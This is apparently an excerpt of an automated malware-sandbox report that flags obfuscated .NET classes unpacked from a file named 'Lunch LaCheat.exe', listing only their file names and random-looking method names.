Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, suwuZqqUaCC4bv2jsNt.cs High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'sAHwBF6dCOL3BN4shTu', 'dLDqJK64nHlexilVgsx', 'yJLm8S6Za6VXOQa402f', 'aIAlpp6ade7u8qbGyOX', 'PSKl916S7BgsIc6XHEM', 'KOA13J6sJdCf3N482rU'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, bUKS09MsXqrMAhvIgjN.cs High entropy of concatenated method names: 'LVkZ7ydJL1', 'RXHZgcq7kE', 'spJZSRmYhS', 'nYPaFINUATgOmD2wdj3', 'avDaptNhqOKZG3eGdIL', 'OR93XGNT6Xj1A8YDkQk', 'KmXl6UNecbQwCXrqvXN', 'yJ6ZXvuweT', 'CvGZw7UVGr', 'JyaZJQgawe'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, r1Nd7VMgjpfgH8UhQxo.cs High entropy of concatenated method names: 'CQFJxOA333', 'GPlJFtAkWb', 'twOJQmTxvP', 'zFOKUnDdD04qbhNC0yh', 'WHPR53D4h4jXhm4myGP', 'RDpdGxDZmn1Zwm7je4L', 'AtyTDdDavXYI4CjUynr', 'rsElwBDSV37y8BAOoeX', 'nYNKVTDsrCsQdvXY4Ar', 'MwpeOGDVh3NZsXZT7X7'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, Fioc1Eq5kI2Wt8Yw2K3.cs High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'pe8Y567gq5BdfHvRsHG', 'fycxlI7jSB8cgfDGNOp', 'jCO1mL7FZccHMJ3VyCm', 'kIkAFj7bdSYdMSAh8Np', 'kar2iO71X55aoCpyS4x', 'enfFTM7OVdnv3amTJ84'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, dVUBQucrV6vLHbsrlB.cs High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'Sx2g3IQEkNSyapVAdBm', 'ptGwXiQCWH9aZxJjeOS', 'R6XEt4Qpghm4myNgS0A', 'EnaSu1Qo508gWs5LXdV', 'oZdGeGQuOnEbNesrKRw', 'nDI3xxQhPTyyaEyjr35'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, bWvKHFeX1fCoZwKOW0.cs High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'D4idk5n0rHxOIMbXBpD', 'j99aY5nAJp7JVUikfi0', 'kjbyW8nROFsLNZpHQJ6', 'jTMKvkniuyvkpf3VChZ', 'YZHjornPXX4SAkLd81W', 'slmX5gnXcGpNtg8Lc7I'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, gKJnY3fffZyAJh7UTXY.cs High entropy of concatenated method names: 'RUNfjSb3Gb', 'qYlfxlZg75', 'SwJfFiM21b', 'z65fQeKRl3', 'jvXfYxaNYC', 'NTOflNCx0T', 'JFajgeRfh54h82epLwk', 'IXH5CyRmGleZOV1rM2I', 'Q73ZJmRWIuIR6u6KGDB', 'Od9WKuRwpETgG1aBejd'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, v1H9NwqEOJDUB1tm5YX.cs High entropy of concatenated method names: 'NKxfBJ9gEb', 'z1Tf6PI5PK', 'WyaLBQ0AmR8piRUljVY', 'xAvxBW09gEq0CG7AUy3', 'JgGt2K00mDjaXfxpECQ', 'CYkRpL0RaLhodWbkQKH', 'HnjsTg0i36s9WZlKYfM', 'L03M900P13ChX4MvafH', 'TIpof00XSGngI1vTvvj', 'SF0ZoB0WgDTwMsMjVcH'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, Fnr6ywMQNBPcTXUFQeh.cs High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'IT02B0NaA8', 'Qjt5q4hF13', 'Cyo2606ER3', 'vko5IrU3jc', 'sDiMNXtp85QCCZP79fg', 'rsYW6lto7dgftD01ift', 'r0Su44tE2uY5h1WWjtd'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, wqRwrbX1J1I0lijql3J.cs High entropy of concatenated method names: 'qyJ5TjUBrcELHDypRVR', 'okjImSUIpVSNypJkCGa', 'LULUEqUnkXXGocgk3ky', 'mRBREgUQCPKKyohB9iq', 'qjpO9d8jf1', 'WM4', '_499', 'lYROp9AR7q', 'xQjOdZft1Z', 'TfaOc8KN6Z'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, SnxHSTqDkQ0SnKZtlax.cs High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 's6IhVny5iCelJ8n2iZ5', 'bMhYt5yciBLIP5L6eew', 'CX02B3ynMkPf0nmVUtp', 'oMPJH7yQv8t8cvAnt4I', 'NXqCtlyB1LE0DFyDUv4', 'EsokVRyI9Xb9FF5MMqS'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, zmTxvPtB3JXpW99rT2g.cs High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, nKFhZaGINSnlIuOGr6.cs High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'oU4K1Tb85', 'Dj5REmnlY70lckCAcCY', 'qqChvVnrHb4tv0pesFG', 'hJsE6fnDqDqZAxYKs03', 'eCPPmMnNVMOi2NJ8FYU', 'lIaM53n3hgmj0mlweVl'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, MZcSW5XFnMZt2tTbkg5.cs High entropy of concatenated method names: 'Aj5CmemkBa', '_1kO', '_9v4', '_294', 'qpbCu8eZ1t', 'euj', 'MOiCRpBV8q', 'AeaC8rGIAN', 'o87', 'lb1Cho7prW'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, WWqZNXK75NEoPq9OON.cs High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'QNjyldQJYfb7F6L0bLM', 'ssMcBqQ2AgGWB1IgPnB', 'o2aqMYQ8P280noQTDmF', 'GSCGFYQGOiA1roIXyaY', 'PI3mSKQz1S28VLSo76D', 'dKVWDhB5Pf6DTg4wcVp'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, mVPDZufZM2W7mkK879j.cs High entropy of concatenated method names: 'J2UMbVjRB6', 'wLOM18f94l', 'bRDM9RQIua', 'FCCMpiX6Rh', 'zCuMdgCvtb', 'VVjMcclkjW', 'cmGMTsVGNs', 'WvRvtyixcFHmYmeLPBl', 'vecaksi3AcyP4Q2SSkc', 'B21HkIitdPNVhIQbKia'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, jnVE0AqQ75AvvmYSO4D.cs High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'NEOdEQ0O8F4GBDd9q3v', 'ANwRux0vVtbqoP3mbIo', 'bf7KUY0LWWhMWRwFqNq', 'dTeDGm0MtXA15BKAT4q', 'MBV3610Ee14N1BUI0C4', 'IauNtu0CQvuFhNmEbxV'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, GXbGVUq9ec7tQ7QY4FA.cs High entropy of concatenated method names: 'CorqlPm0EZ', 'dbCT6b9xt4SIjwGcTpo', 'Cc23qw9Hqw51fELBEUP', 'YqP1vO93KQCXtLglce7', 'qKypAP9tH44l4i9GFWP', 'Ut14gR9kUUP4DYoGUC0', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, S4xuYYf4VvkDUfoJrma.cs High entropy of concatenated method names: 'KmItHy8RCX', 'hfvtP2Yevb', 'fKgfm6XxBJm57GNKGjt', 'gkZKx3XHYrOWnbe0sTQ', 'vhEvxIX37eiiOpQw5vM', 'cdE2eEXtTCVwNauLgZc', 'JCtPOqXku8GaQnNosNH', 'erP1AoXgwSSZCm0IOnB', 'S1qVpaXj6TCm7j3DOi9', 'oFfOsFXFEYwfmI07iEk'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, spviIXXITu8HiQLRydd.cs High entropy of concatenated method names: 'K20h4TKijO', 'P5uhVdQO1L', 'pn4hIRSyqM', 'ERehmlw0LM', 'wtphusGQWs', 'cLQyeou26FrYqdVs4PA', 'kwTChXu8ZTKPtB0WkkT', 'zkRfCquGBv3XTY00Tcp', 'yqmxEJuznAIeCmuCpIQ', 'jVq0sjh5xhViu2lD1ig'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, bjx4PUMNvrbRTipVjsL.cs High entropy of concatenated method names: 'bSGuPSxCqQx8COVogUR', 'IZdvcXxpbntIBs2jPE1', 'wde6TExMAm1KLhlWrIY', 'IqpQkRxEW58S5H1aEn6', 'IWF', 'j72', 'hdI2ScsE9M', 'FTh2DLjhNr', 'j4z', 'APh23kPe0K'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, DNSXGhMxb8hbaZ3ZyOl.cs High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'bHN5MRYiSF', '_168', 'YE1x18tHjJndhXtjI9G', 'Es2Tc8tk1D98Hs9mLfo', 'mjdPxOtgNK89UKGrREt', 'MqejK6tjvtqcoqfFc80', 'rUdYc2tFBN5Bu275YvO'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, mGRo5IqgkpbCevtLJw4.cs High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'HlnkvJ7VPsCs6ZsASYh', 'YaUZWc7KWWp7fikmkBL', 'mFT2oW7Y3Kmq8Aaa870', 'T044587JtvcIy7SB7hw', 'PEtD9772RffA43EytyE', 'nCuIXI781myahKHrcWj'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, n5BLl0zub6q1E6cKtB.cs High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'Tr9Fr96QgZuIYdCN7KJ', 'h0hgxw6BnAWv6j2DTTg', 'hrl1Np6I3KlBF7Fw5PU', 'CxNYl1662OsmSNJRpj2', 'KwCnSn67Df9xTZgkGCj', 'bhXF276yG03fALrguhy'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, d1Ms4CUYfOkEyT4rV8O.cs High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, zyKIFSUOvZVd5nfJLNC.cs High entropy of concatenated method names: 'qmhRTovydL', 'MDgRKRD95d', 'oPLRrjc0QR', 'I4ZRnSZmWU', 'EflRWEh8pQ', 'BShREYCj3FSd17ynq3w', 'M1aqNuCkx4yqBE7nkZQ', 'XhX3gfCgCHt5HO7OYOE', 'wlZqSiCFub9p6BpSV8G', 'kk00a4CbebRhf5yS9E1'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, wiSwb7XyiTFNRrZRITR.cs High entropy of concatenated method names: 'P7f8owehxD', 'oer8EZtJhj', 'UaU8jJEEsk', 'b3M8xOxYte', 'XYR8FBIV12', 'CCe8Qhns0d', '_838', 'vVb', 'g24', '_9oL'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, LyW9xXtR93TyJkM7URN.cs High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'wqRHywrbJ1', '_3il', 'u0lHqijql3', 'gNKHfvtbRv', '_78N', 'z3K'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, JLb518Xu0gr7VgNrdQG.cs High entropy of concatenated method names: 'IGD', 'CV5', 'yo0hR4v39K', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, zWT2AgqN8s5bxJgQo4x.cs High entropy of concatenated method names: 'LU4fsRYhw6', 'koYq7XA6VkFOldRJlt5', 'ccRkdYA7c8aLwhFmU7A', 's94O9bABd6YMGKmZJR3', 'spfTZbAIiNkRdF5jqg4', 'kwVPm9AysBEtBOyjXnq', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, Sb38j9M5TwPKU5E3N8P.cs High entropy of concatenated method names: '_223', 'ObchL9DfKqx2y8KPI5B', 'zjyL8gDmB4BA5tX7Sfy', 'AwD8o0Dl8nau0GJDmZc', 'KcrNg3DrrGXhKKACSCj', 'doGS2gDDLcw7qKJHgUc', 'BGYtIMDNCUM0F2OihNl', 'KNcso5D3h3X9yXtwoPg', 'EWsr58DtvoPG6EmKuHn', 'hUx1kPDxpqXCnZMBpOj'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, hYxb1wtLnXrN0rRtimV.cs High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, I9vhRHquCQ0uLDtMftj.cs High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'm6JOx8yMVT2AMFy8MY0', 'iN5JtyyE8TQ2EHIq3IW', 'abuNRQyCZQ2s77Z74kO', 'UocsYxypvl32uvLQbW3', 'nU3W9ryo2MCKBXibePA', 'Pj5imPyuBcytTng08QB'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, ckfw2rtlq8EL44wGQV0.cs High entropy of concatenated method names: 'rsKPLncwwW', 'L6sP9D7GLP', 'MY3PpHxxvt', 'DxqPdKmpmu', 'BmxPcxeGN8', 'KNWPTCeMTY', 'UR2PKMeayj', 'EiKPrlj1Li', 'yVFPnZuxop', 'BO6PW9RhMe'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, diijDZfkEAwvm72umcW.cs High entropy of concatenated method names: 'CsNw8U53TQ', 'lJPbMhmS8Ct7f7ZO0ZG', 'yD6n0FmZlZeDciG0APA', 'OeK0bpmaqdd0OZNZgDw', 'oVKeupms4HPDKNBNLGA', 'Sbvr4MmVIw5cXP5kZdL', 'mmFw3GkEYg', 'sEAwshq5Hq', 'Db9w47p6oR', 'waSwV8Ztq9'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, w22xDBMq7bbo3Ga2veg.cs High entropy of concatenated method names: 'a1vwCr4fti', 'H9mw0we9aC', 'H0awGgssIu', 'yMIwbRkDE9', 'WYHFxumzDsJZ9jDMjSS', 'jEYH21m8eJJ0NNVD1em', 'Yvp70SmGvJRg5At98tT', 'wyuwNBl5bUYGD9NeyHR', 'DttIPmlcBQFUZdNx5p9', 'U98xMblnDjicSGj2F1B'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, whZPVLpQKsuh7sYp2i.cs High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'usrtRen8XF05jgBeSKi', 'iA6vWdnGYWrQkMlHeC4', 'l7OCiwnzMUcQmb87Osk', 'nC8VUBQ5xMr7HXTLLeK', 'uhMiPYQcaVJ4N9J6BUD', 'xMoQmfQnNypsK1NrACC'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, U9iiGtqq03BTIAdKv3Z.cs High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'MWp64P6l3ipq2GQuntq', 'NKk4Cp6rF0ol1VXhsFw', 'qMa3Jf6DVGAjhyhE3Gk', 'CQ7w8K6NJoBOIue0qoV', 'W5ZNGH63RabL7XgnpOX', 'ciHJmY6t1kLtuVC1IHH'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, a8RCXJfyfv2YevbKcJy.cs High entropy of concatenated method names: 'B1if86EUeO', 'S19fhnlUDc', 'q8LfOHkBZc', 'i8PI4bAvDM9b9C1Xgh1', 'Cjs6HFALJ6AotLk64Gn', 'k7tPmVAMa10WT9riQZC', 'RK6pTsAE4SL2ivvxpdm', 'A6du3SACOq2v6xgKLiP', 'Jh5fROApOWD9HUyQRqh', 'VakGRmA1KCKrxMSk1r5'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, HhoQgiQALbTCJrMygA.cs High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'QiiUNSIXBAa3MTvUOCu', 'FMZ4lwIWh3SWU7SMwhc', 'Dvab0iIwYdJln3b6nk9', 'QBsabpIfvHk0tYu8ngM', 'CGH9NqImjKdoJaB95FM', 'MjsYO4Ilq6RGO1ZSVb9'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, COtroIUMm4eTIhOVxcs.cs High entropy of concatenated method names: 'TuZJLpv3X3ZUXuQfMa8', 'DF0hVAvt5o5TjW3LAAV', 'CbpBQ2vDPJtbSFjQn9Q', 'K06NIQvNmxcx4okoToY', 'pU54RJwarE', 'qNaD9IvkyZLLLSYXZ2n', 'VaPEBQvglhuPkTng7gV', 'IN55Q0vxkE4ufGioIQp', 'oqy7ePvHEFuZLvApOym', 'CwS4T7vjvRGJ6EdnGY3'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, vf0yC3MIHlCBxsJ9ID0.cs High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'tpM09X3i2kDDKar9Dx1', 'Jf8Z0S3PleVt01dPpCm', 's3WKbg3X3ht23eatxyW', 'zs5Vnd3WtIuHS3SNqll'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, DNaNPDq8ZrMGeZQIvVs.cs High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'E8lgLoy4DIupouCkFA4', 'qfMJ48yZiBo1MF6E6xD', 'Dnsdi7yadExYH8nmDvK', 'aaZ2GJySG17b0RKM8v6', 'ruelhNys0Mlegy5yhFb', 'EmpKriyV2eww67jAxOj'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, yDct3lUiBGykwYgZyNe.cs High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'Ywp8uokPlx', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, kNoIPAUkfQUI8omLQgL.cs High entropy of concatenated method names: 'FBq8eOs3Gj', 'iYk8aS7c0M', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'BhA8CKD54d', '_5f9', 'A6Y'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, JrnQWOUZjgUWBocdi9j.cs High entropy of concatenated method names: 'MBRR4bRWZh', 'dljRVGDLuG', 'beok0xEKNU8oE97cVXm', 'gdJirtEYGwQsYO7TH7X', 'G79xv5EJNEIAhGT5SiY', 'QoDxrPE2nhOSeIhOmfP', 'K3u9F7E8gfcuJwL8ZKH', 'XY1BBlEGogCG7BLkJjZ', 'IWvHJ4EzyO62oyRATuK', 'ooaaDoC5R7I1otPmy6D'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, bakGY7MAQ9F1Mugfu6e.cs High entropy of concatenated method names: '_5u9', 'spk5eP4tNn', 'TM82y63WOc', 'xlo5n38cPv', 'ijDmsq32Cuo0nkm71h4', 'pmmlbH38FgC7IgeCmJx', 'NW4GNa3GCqSCis5YyYb', 'mWl4Li3YuWPoZcZMbjd', 'km51sx3JGusXZGV2HKS', 'qjQnvL3zVIiVitrQV2c'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, xDRQIuqra1CCiX6RhhC.cs High entropy of concatenated method names: 'WoGfqhwXAd', 'YrnffWIkRQ', 'r7XfMuFUTP', 'PYTUgp9slmjF66T3pwk', 'Ia5Xxi9Vf27RNkwaMvK', 'WrE7er9aBcWYBHcsRZ6', 'TaeQa99STGLKXrARlj9', 'aPsyRx9KgUfkIPH8rdh', 'KFxKGc9YHNCliTOGYpD', 'QgrFic9JXw9Kxa2Ttx1'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, nfeO3JM26UEN4nRJB4s.cs High entropy of concatenated method names: 'ryxJ1InLAp', 'RHUJ9E29Lj', 'oSNJpITRLy', 'G2fDwUDPjNV9ZqkedFq', 'syRVjODRUQgkNx8k4KP', 'MG67KADi32EoMii2f3c', 'sT2QmfDXYPr5JaU64AZ', 'QOpJ7GmX6g', 'QfIJgjDLxw', 'acyJSkOeR2'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, u7wHE5XO1AwJPYHADRh.cs High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, wvbMxJXf3x1mW0ua4by.cs High entropy of concatenated method names: 'vqbhJIrxhk', 'XIphZm7Lvs', '_8r1', 'ld4h2Y3rX2', 'Rw8hBdLFuK', 'D4Vh6BjHGm', 'ctAh5E2Uxm', 'sglmWPuWU0lZAiHDmmf', 'ORxqW4uwxm5BQ07tA5t', 'w4VfNvufi4GME3bSXCO'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, AjATmTqxd3qnyspZ8M5.cs High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'HRIIYd0DFlTC15rYUVP', 'mfIPn10NrKEZSHpfdli', 'PNnWnR03P9hG97s8Bl3', 'jSP2Cd0tWTrMIgKLQvC', 'HqKcYM0x20fOVq54Itl', 'RtP49V0H5kTojw65eOq'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, tuX3ojf34ChaxjRV6c1.cs High entropy of concatenated method names: 'ghyMzmrMjj', 'GmityahLUc', 'XnGtqsvKl7', 'CwUtfEAeQC', 'gjXtMu01OW', 'J2Attg8s5b', 'QJgtUQo4xj', 'q40tXDejK9', 't9HtwGj4xZ', 'oEntJkXhwB'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, dTG2gXqPUXjsYC5a9HK.cs High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'gfA0Ju7oAp3APN5QL3C', 'eZuBA77ufnak5Wpyrgk', 'Dw99V67ha1rIRYe4Vq3', 'Hntrf37TKJpcDOdMdxc', 'jTckxA7UpNRoPA5bZOJ', 'XRP1sP7eydMZwiP1WHa'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, sHZJEsfKSVh1hmkvGfT.cs High entropy of concatenated method names: 'zu5XJPnKAU', 'zwnXZTO1PP', 'doVHscfY2QU7y7n3M6h', 'DHJBGlfJchy0NpVeDY1', 'LdV8eMfVkHTJJlF33VL', 'bBU0WFfKxvYr9Xmxf1T', 'WijXSDZEAw', 'MrPWHnm50A7nn7X0Nbk', 'YvnqISmcdn5vSrLYj2i', 'LMfGohfGAKwhojfkFgx'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, COhgSqfcQyyy2PSOJQt.cs High entropy of concatenated method names: '_0023Nn', 'Dispose', 'VSZU9M3hJ2', 'C35Upi0Ohg', 'pqQUdyyy2P', 'pOJUcQtL6R', 'CIsUTckToo', 'YXanqqfqhHSyA5ZR5IF', 'tOWOCQf9atQ2ptEERAZ', 'qlcaEGf7oTCAAyOB3oA'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, IYPXUgwBGoP6ag9jkCy.cs High entropy of concatenated method names: 'c2HFvottUIahn', 'woorDbdXE0xTAYhMF0X', 'uNoJwbdW3AWhGTAQrxp', 'VnGffcdwfhM8aLCcLn8', 'SdFVEVdfu82GL510GMs', 'H9mrWodm0RYjQ0ahgOh', 'IIbfdRdixl71rfT5QOD', 'vAv2eFdPIA5BilCQAop', 'axohCLdl4aoI35uNqyP', 'rPVPQkdrFr6cLrseYA7'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, KhVMlxXdSTGZrYZBTyq.cs High entropy of concatenated method names: 'kjMacqd8Y1', 'dFM8QiUbOiNT3Wlx0o2', 'pAyrlDU1lyp62ZjBqB9', 'C38oNPUj1lyraUDysZK', 'w6QCLhUF0jmyoJeOycs', '_1fi', 'ILXeQHPI2t', '_676', 'IG9', 'mdP'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, kMDXZWXajKvT3fbPySM.cs High entropy of concatenated method names: 'so7OZOmXcS', 'seBO2wr13U', 'Wx0OBVxFAh', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'BgAO6GC7rc'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, t7eqoCq0pyA24xXUAbH.cs High entropy of concatenated method names: 'evhqoFZ4P6', 'JsQfJC9ns5pCW5j6Tnf', 'JAoZp69QZvQqimDDTpb', 'pCKSdX95nALImpr7vLg', 'Y3k8MI9cPRFS30v5Oyr', 'UVr5F79BUJGC0yGL74u', 'wo6Vld9IE4g2E8H1jLL', 'B63ltQ96yh2GL5gwWIl', 'oiAqjLbTCJ', 'ECTyE49qwm3bGTHUN6L'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, LdmVhiXGwe9HapiwJ8M.cs High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'TAXO8Cmnut', 'vrLOhm8dlH', 'lcQOOs0Sxx', 'zIYOeFJCIF', 'R5aOahOv5j', 'PslOCWUtKC', 'et4lt6TCIDuEr6rKuQq'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, UhmLkBf9fCvwgVYUfIA.cs High entropy of concatenated method names: 'qlhUCmLkBf', 'AAWA8rw8JUlo7bj2IaY', 'aX3CKrwGKWf2XWiRpaP', 'KBeZMSwJJIVXm09Apou', 'hyc9HQw2JR8whLRhLc7', 'n00GNtwzblx8nC54JSQ', 'aeNhdAf5DcNWWJ3tCm5', 'kJ3fdTfcnhvxlTjh2c9', 'xKmModfnBy0oOACwRu5', 'hdv74ffQZ2tmZ3HEhpS'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, GmeW25faKmNu3TDH8lC.cs High entropy of concatenated method names: 'm6ItLu1ZjH', 'WVLtkWQbIi', 'iQ4tzxuYYV', 'VkDUyUfoJr', 'varUq8YInh', 'Bv1UfxxBty', 'jpeUMd3Gwn', 'ffrUt61Kw5', 'EYYUUZrHdC', 'KfNEPTWYJNYa4KaQ8lI'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, AM3dUaMPMLKtx58w5dK.cs High entropy of concatenated method names: 'AOVJWefvU5', 'VUSJAFTekW', 'QAXJopur5Z', 'f8kJE1fDDg', 'mNZBiUDLQdo7fX17ZBY', 'wGIy5jDMdiueJuQpas0', 'W3TALFDEgsuXNX9Z2is', 'AT5QLEDOyuw53EOOgdu', 'pruHwBDvqlqlFTXC7gs', 'gww8HDDCKEfkOOWGwbE'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, EU7jgPqZUfCh0MEvB0O.cs High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'JTKaa4777mfR36hCoHA', 'CpD0lE7yQdshseIwquJ', 'iH8cej7qsWR75prafpN', 'IZHsn479V12L7VHBJSQ', 'BgoW2570jjuUXFQBHNp', 'DUnnj07Ato88UNW52uw'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, Ahc13dEy5KVP0BqE5E.cs High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'hAMy1mBUDwEx2rXOl6l', 'loUJM1BeEu05t5cAgSC', 'xLwah6BdvRdcaJCgeFK', 'zIsF8oB4Ohst4mZHOyW', 'mDtiQxBZULvupYnONMx', 'vF1ADbBaBIOnm7Prudn'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, LgEDIqhS04Car44Mop.cs High entropy of concatenated method names: 'NJU99NQHq', 'RsnpVi0BZ', 'aAbdKrsDq', 'N3wegKcpgHwR2rr6u6Q', 'pYUR3lcEmMv2RIKJGbt', 'RYkQYscCtfQBwZ1qBsZ', 'py1TVDcoUrIscPVoM4j', 'n1yueqcu6FT4hHhRbcA', 'ejkrQIchrKMglcNdyH3', 'o80D58cT8bTeg0STeY8'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, TKA1axtODGwCsrAJYh2.cs High entropy of concatenated method names: 'Dh9H1AxGpk', 'ULMH9RCGyd', 'Cx4Hp0QPMN', 'Ws7HdhJ44i', 'x8EHc1HL9o', 'rvHxM6glc1lvMehJWYV', 'RM55FGgfhTvBvTKUYZc', 'UOdxNegmV0i8bkOLHSx', 'gx7WIkgrCmroZnH364u', 'PgomNSgDf3esDNSHfV7'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, f8k1fDtZDguyRu368hC.cs High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, SUHxo9tNj7gNTsIAV05.cs High entropy of concatenated method names: 'ASg78iHlfC', 'JRI7O6QNB4', 'oHo7HOv6uy', 'PSQ7PChfg4', 'GQh77QXcEE', 'luM7g4nfsA', 'Rp47S9GewM', 'wvG7DiND8G', 'KHj73v7iMn', 'MNF7s8pjhS'
